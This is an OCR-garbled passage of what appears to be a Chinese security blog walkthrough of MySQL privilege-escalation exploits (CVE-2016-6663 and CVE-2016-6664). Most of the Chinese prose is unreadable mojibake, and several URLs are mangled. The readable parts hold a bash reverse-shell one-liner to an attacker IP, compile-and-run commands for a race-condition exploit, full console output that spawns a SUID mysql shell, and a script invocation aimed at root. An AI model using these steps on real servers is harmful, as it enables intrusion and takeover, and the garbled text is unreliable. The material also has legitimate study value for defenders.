EEIRBEIIRENEEANE,

L —HBMIA: http://legalnackers.com/exploits/0ldSQL_MySQL_RCE_exploit.py

CVE-2016-6663 (®& www-data tXRIEFH 9 mysql 1XEE)

2016 &£ 11 B 01 H, EINLE R A Dawid Golunski £ MySQIl. MariaDB #1 PerconaDB
HIEEPRIGH ERE, ZRE AR EREMR (CREATE/INSERT/SELECT
WER) MK SEIIREIZIEER SRR (BFEE mysgl BPXER) EMATESE,
RERIINALREGE, PINTEIAEEEERE,



ZRIAFNIAIARA LD T -
MySQL :

e <=5505]1

e <=06.32

e <=0./14

iENEENI S L
o WHEDEIRIEIEMARSS 2519 webshell IR
o AJDUBI 5% shell N757EIRTS EARENAOR Bl

o DARZRT—MEAPE (CREATE/INSERT/SELECT #FE) H9 MySQL MK IR~
IR

o BEFRENLEY MySQL MR ATERIEF ST EIA
TEHKIREINZRFE.
SLIOPRE

o EIFFH IP: 192.168.1.10

o WA IP: 192.168.1.7
FRIzHMEEEIWAZRE T BinEAR webshell #XBR,

B, BNETEH —1 C BA mysgl-privesc-race.c, @I NEPEmIEFRFE LEEBinE
Mo ARBEFATU NS R shell SREXE Im A G IR :

bash -c "bash —i >& /dev/tcp/192.168.1.7/2333 0>&1"



https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html

RIEHRATI R ap 4G EENBGE AR IRE MR exp F2/5:

gcc mysql-privesc-race.c -o mysql-privesc-race -I/usr/include/mysql -lmysqlclient

/o, & shell INERIHATHY exp 2%
./mysql-privesc-race whoami 123456 localhost whoami_db

e whoami: BAZ3T7 —MEMPE (CREATE/INSERT/SELECT AUFR) 89 MySQL FB
P

o 123456: {EAYFR MySQL A/ RYZAR
e localhost: HUEZEbL
e whoami_db: J&8F whoami B EUEE

PATRRINEZIRE—T mysal PR, BIRIRFTEIRSE root NREFERCS CVE-2016-
6664 i, AMBAT

www-data@xenial :~/mysql-exploit$ time ./mysql-privesc-race www-data pocsql localhost poc
db

MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit
mysql-privesc-race.c (ver. 1.0)



CVE-2016-6663 / OCVE-2016-5616
For testing purposes only. Do no harm.
Discovered/Coded by:

Dawid Golunski
http://legalhackers.com

[+] Starting the exploit as:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] Connecting to the database ‘pocdb’ as www-data@localhost
[+] Creating exploit temp directory /tmp/mysql_privesc_exploit
[+] Creating mysql tables

DROP TABLE IF EXISTS exploit_table

DROP TABLE IF EXISTS mysql_suid_shell

CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/mysql_privesc
_exploit'

CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = MyISAM' data directory '/tmp/mysql_priv

esc_exploit'

[+] Copying bash into the mysql_suid_shell table. After the exploitation the following file/ta
ble will be assigned SUID and executable bits :
-rw-rw———— 1 mysgl www—data 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_shell. MYD

[+] Entering the race loop... Hang in there...
[+] Bingo! Race won (took 5 tries) ! Check out the mysql SUID shell:

-rwsrwxrwx 1 mysql www-data 1037528 Nov 1 02:33 /tmp/mysql_privesc_exploit/mysql_suid_she
11.MYD

[+] Spawning the mysql SUID shell now...
Remember that from there you can gain root with vuln CVE-2016-6662 or CVE-2016-6664 :)

mysql_suid_shell.MYD-4.3% whoami
mysql

mysql_suid_shell.MYD-4.3$ id
uid=33(www-data) gid=33(www-data) euid=102(mysql) groups=33(www-data)

BEERMNLEN T, S2IER “cp: cannot create regular file
'/tmp/mysqgl_privesc_exploit/mysgl_suid_shel.MYD": Permission denied”, BZlIi&/RRERIA
EEIBEE T ES R,

CVE-2016-6664 (T4 mysql 1XFRIEFH )9 root FXER)
1Z0mE Bl LAE mysgl BBPBRIRF N A S root AR,

ZRAR NIRRT :



MySQL

e <=5HhHhH

e <=0.0.32

o <=hH7/14

ENEERlEEE L

Wik & B RIS BAnARSS 2509 webshell £XER

B DU 258 shell B975785815 BIREALAOR B3R,

B2 CVE-2016-6663 A UFRENRI R 2 mysql FBFPAXR,

BinEA89 MySQL M A iRmBER N EE N

BirnENMEENINEEETXHNEST (BUARE), UHEEER syslog Av. H
1T grep —r syslog /etc/mysql R BETAIEREFHE “BETXEHNHEE &K,

ZRENRRERE, B85 FEREMNBEIZA mysg—chowned.sh , EZBIA _FEZIBAREM
HIAFRGE mysqgl AP ABRIZITRIRIZREX R ZF root AXR

./mysql-chowned.sh /var/log/mysql/error.log

*k SEE % AL mysal AXFRHAT mysgl-chowned.sh A 8ERLINIEA root, FRIA, 1ZRE
BEEBRS CVE-2016-6663, AJAMHIA CVE-2016-6663 JREIKEL mysal AXPRAY
shell A58 3#4T mysgl-chowned.sh,

CVE-2016-6662. CVE-2016-6663. CVE-2016-6664 XJ"/MREE E 2 Sitck
AR,


https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

NHREBRNERZAL, BBEEURESZZIEY, NEXRBZZHEUAIRENF,

HHEE:  https://whoamianony.top/

ZE:

https://www.cnblogs.com/xiaozi/p/12767050.html
https://www.sglsec.com/2020/11/mysgl.ntml#toc—heading—31
https://www.uedbox.com/post/58919/
https://blog.csdn.net/qq_36119192/article/details/84863268
https://www.cnblogs.com/3ichael/p/12909952 html
https://blog.csdn.net/fly_hps/article/details/80944170
https://www.freebuf.com/vuls/243513.htm!


https://whoamianony.top/
https://www.cnblogs.com/xiaozi/p/12767050.html
https://www.sqlsec.com/2020/11/mysql.html#toc-heading-31
https://www.uedbox.com/post/58919/
https://blog.csdn.net/qq_36119192/article/details/84863268
https://www.cnblogs.com/3ichae1/p/12909952.html
https://blog.csdn.net/fly_hps/article/details/80944170
https://www.freebuf.com/vuls/243513.html
https://mp.weixin.qq.com/s?__biz=MzIyNjE4NDcyMA==&mid=2247484839&idx=1&sn=16720fb8e035c8bbe612d738839262c5&chksm=e8751ed8df0297ce54ef5acabd5a42f66f81f66b56b168ba80a3af5d55877d546aee33dd8510&scene=0#rd

Hitpo./ /P VWOEIAITL. QY. GO/ o

_ biz=MzlyNJEANDCyMA==&mid=2247484839&idx=1&sn=16720fb8e035c8bbe612

d738839262chb&chksm=e8751ed8df029/cebdefbacabdbad 2f66f81f66b56b168ba

80a3afbdbb877/d546aee33dd8510&scene=01rd
https://www.kOrz3n.com/2018/10/21/Mysql 1£:5 15 M1 AR a9F
https://www.anquanke.com/post/id/84557
https://www.anquanke.com/post/id/84554
https://www.freebuf.com/vuls/243513.htm!
https://www.anquanke.com/post/id/84553

https://xz.aliyun.com/t/1122#toc—-2
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